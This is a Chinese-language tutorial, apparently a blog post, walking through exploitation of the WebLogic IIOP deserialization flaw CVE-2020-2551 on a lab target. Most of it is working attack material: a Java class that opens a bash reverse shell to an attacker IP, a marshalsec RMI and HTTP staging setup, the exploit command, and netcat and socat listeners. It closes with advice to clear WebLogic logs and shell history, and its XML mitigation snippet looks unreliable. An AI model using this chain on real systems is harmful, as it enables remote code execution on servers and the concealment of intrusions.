1. 漏洞背景与环境准备
WebLogic IIOP协议反序列化漏洞(CVE-2020-2551)是Oracle WebLogic Server中一个高危漏洞,攻击者可以通过IIOP协议发送恶意序列化数据,在目标服务器上执行任意代码。这个漏洞影响WebLogic 10.3.6.0、12.1.3.0、12.2.1.3和12.2.1.4版本。
我在复现这个漏洞时发现,环境搭建是最关键的一步。首先需要准备以下组件:
- VulnFocus靶场环境(或本地搭建的WebLogic 12.2.1.3测试环境)
- JDK 1.6(必须与目标WebLogic版本匹配)
- Marshalsec工具(用于搭建RMI服务)
- weblogic20202551.jar(专用POC工具)
这里有个容易踩坑的地方:很多同学直接用最新版JDK编译EXP,结果发现无法利用成功。我建议使用Docker快速搭建环境:
bash复制docker pull vulhub/weblogic:12.2.1.3-2018
docker run -d -p 7001:7001 vulhub/weblogic:12.2.1.3-2018
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 低版本JDK EXP编译实战
由于目标WebLogic使用的是JDK1.6,我们需要用相同版本编译EXP。这里我分享一个实用技巧:使用Docker快速创建JDK1.6环境:
bash复制docker run -it --rm openjdk:6-jdk bash
在容器内创建exp_jndi.java文件,内容如下:
java复制import java.io.IOException;
public class exp_jndi {
static{
try {
java.lang.Runtime.getRuntime().exec(
new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/攻击机IP/4444 0>&1"}
);
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
编译时务必指定-source和target参数:
bash复制javac -source 1.6 -target 1.6 exp_jndi.java
我遇到过编译成功但利用失败的情况,后来发现是.class文件版本不匹配。可以用以下命令验证:
bash复制javap -verbose exp_jndi.class | grep version
3. Marshalsec RMI服务搭建
Marshalsec是搭建RMI服务的利器,但配置不当很容易失败。我推荐直接从GitHub获取预编译版本:
bash复制wget https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
启动RMI服务时要注意三个关键点:
- 确保1099端口未被占用
- HTTP服务要能正常访问到编译好的exp_jndi.class
- 防火墙要放行相关端口
我通常用Python快速搭建HTTP服务:
bash复制python3 -m http.server 8000
然后启动RMI服务:
bash复制java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://你的IP:8000/#exp_jndi" 1099
4. 漏洞利用与Shell获取
使用weblogic20202551.jar触发漏洞时,我发现几个常见问题:
- 工具报错"Connection refused" → 检查IIOP端口是否开放(默认7001)
- 没有回连 → 检查RMI服务是否正常
- 连接中断 → 可能是JDK版本不匹配
正确的利用命令格式:
bash复制java -jar weblogic20202551.jar 目标IP 目标端口 rmi://RMI服务IP:1099/exp_jndi
在接收Shell时,如果使用老版本netcat遇到-e参数不支持的问题,可以用以下替代方案:
bash复制mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvp 4444 > /tmp/f
或者使用socat工具:
bash复制socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash
5. 排错经验与技巧
在实际测试中,我总结出这些排错方法:
问题1: 工具执行后没有任何反应
- 检查WebLogic的IIOP服务是否启用
- 使用tcpdump抓包确认请求是否发出
bash复制tcpdump -i any port 7001 -w weblogic.pcap
问题2: 收到连接但立即断开
- 可能是防火墙拦截
- 尝试调整exp中的命令,改为简单的whoami测试
问题3: RMI服务报ClassNotFound
- 检查HTTP服务是否能正常下载.class文件
- 确认文件名和URL中的#后名称完全一致
6. 防护建议与缓解措施
对于企业安全人员,我建议采取以下防护措施:
- 立即升级到官方修复版本
- 在防火墙上限制IIOP协议(端口7001)的访问
- 使用WebLogic自带的网络连接过滤器:
xml复制<filter>
<filter-name>iiop-filter</filter-name>
<filter-class>weblogic.iiop.security.IIOPFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>iiop-filter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
对于渗透测试人员,完成测试后记得清理痕迹:
- 删除上传的.class文件
- 检查WebLogic日志并清理相关记录
bash复制rm /tmp/f
history -c
